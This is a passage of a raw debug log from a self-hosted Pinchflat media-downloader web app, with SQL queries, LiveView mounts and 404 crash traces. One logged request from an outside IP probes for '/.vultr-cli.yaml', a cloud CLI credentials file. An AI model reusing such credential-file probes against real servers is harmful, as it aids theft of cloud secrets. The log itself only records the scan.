"x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.vultr-cli (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9857.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vultr-cli.yaml", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 55182}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9858.0>, params: %{}, path_info: [".vultr-cli"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.vultr-cli.yaml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDCPlqYGXsA (truncated) 15:22:13.630 [info] GET / 15:22:13.630 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 15:22:13.630 [debug] QUERY OK source="settings" db=0.0ms idle=722.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:13.630 [debug] QUERY OK source="media_profiles" db=0.0ms idle=722.4ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 15:22:13.630 [debug] QUERY OK source="sources" db=0.0ms idle=484.5ms SELECT count(s0."id") FROM "sources" AS s0 [] 15:22:13.631 [debug] QUERY OK source="media_items" db=0.5ms idle=484.4ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:22:13.631 [debug] QUERY OK source="media_items" db=0.1ms idle=97.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:22:13.631 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:13.631 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:13.631 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:13.632 [debug] QUERY OK source="media_items" db=0.1ms idle=0.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:22:13.632 [debug] QUERY OK source="media_items" db=0.3ms idle=0.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:22:13.632 [debug] QUERY OK source="sources" db=0.0ms idle=1.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?)) [1, 2, 3] 15:22:13.634 [debug] QUERY OK source="media_items" db=1.3ms idle=1.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 15:22:13.636 [debug] QUERY OK source="media_items" db=1.4ms idle=2.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:22:13.636 [debug] QUERY OK source="tasks" db=0.0ms idle=4.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:22:13.636 [info] Sent 200 in 6ms 15:22:14.852 [info] CONNECTED TO Phoenix.LiveView.Socket in 18µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "fwABKh5TLzQDITJuK1orPBxGMWwMZHsM2NlIvdHxLWZCR9gyEqr64Q8X", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://roku.hartupee.com/assets/app-ec454b024a27f3bffb6e1a52ff1601c2.css?vsn=d", "1" => "https://roku.hartupee.com/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 15:22:15.156 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "MNmch7gLOvh-ycLEY7CZ85CT", "media_state" => "downloaded"} 15:22:15.156 [debug] QUERY OK source="media_items" db=0.2ms idle=622.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:22:15.157 [debug] QUERY OK source="media_items" db=0.4ms idle=218.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:22:15.157 [debug] QUERY OK source="sources" db=0.1ms idle=218.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?)) [1, 2, 3] 15:22:15.157 [debug] Replied in 1ms 15:22:15.158 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "MNmch7gLOvh-ycLEY7CZ85CT", "media_state" => "pending"} 15:22:15.162 [debug] QUERY OK source="media_items" db=3.2ms idle=220.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 15:22:15.164 [debug] QUERY OK source="media_items" db=1.6ms idle=223.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:22:15.164 [debug] Replied in 5ms 15:22:15.164 [debug] MOUNT Pinchflat.Pages.JobTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "MNmch7gLOvh-ycLEY7CZ85CT"} 15:22:15.164 [debug] QUERY OK source="tasks" db=0.0ms idle=7.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:22:15.164 [debug] Replied in 269µs 15:22:15.770 [info] GET / 15:22:15.770 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 15:22:15.771 [debug] QUERY OK source="settings" db=0.1ms idle=613.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:15.771 [debug] QUERY OK source="media_profiles" db=0.0ms idle=609.0ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 15:22:15.771 [debug] QUERY OK source="sources" db=0.0ms idle=607.3ms SELECT count(s0."id") FROM "sources" AS s0 [] 15:22:15.772 [debug] QUERY OK source="media_items" db=0.5ms idle=606.8ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:22:15.772 [debug] QUERY OK source="media_items" db=0.1ms idle=236.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:22:15.772 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:15.772 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:15.772 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:15.773 [debug] QUERY OK source="media_items" db=0.1ms idle=0.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:22:15.773 [debug] QUERY OK source="media_items" db=0.4ms idle=0.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:22:15.774 [debug] QUERY OK source="sources" db=0.1ms idle=1.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?)) [1, 2, 3] 15:22:15.775 [debug] QUERY OK source="media_items" db=1.2ms idle=1.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 15:22:15.777 [debug] QUERY OK source="media_items" db=1.4ms idle=2.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:22:15.777 [debug] QUERY OK source="tasks" db=0.0ms idle=4.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:22:15.777 [info] Sent 200 in 6ms 15:22:17.238 [info] GET /zz-nonexistent-test-8492.html 15:22:17.239 [debug] QUERY OK source="settings" db=0.1ms idle=702.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:17.239 [debug] QUERY OK source="settings" db=0.0ms idle=300.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:17.239 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:17.239 [error] #PID<0.9869.0> running PinchflatWeb.Endpoint (connection #PID<0.9868.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /zz-nonexistent-test-8492.html ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /zz-nonexistent-test-8492 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9868.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/zz-nonexistent-test-8492.html", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 55230}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9869.0>, params: %{}, path_info: ["zz-nonexistent-test-8492"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/zz-nonexistent-test-8492.html", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDCe1lIXEdrzcAAeWC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", 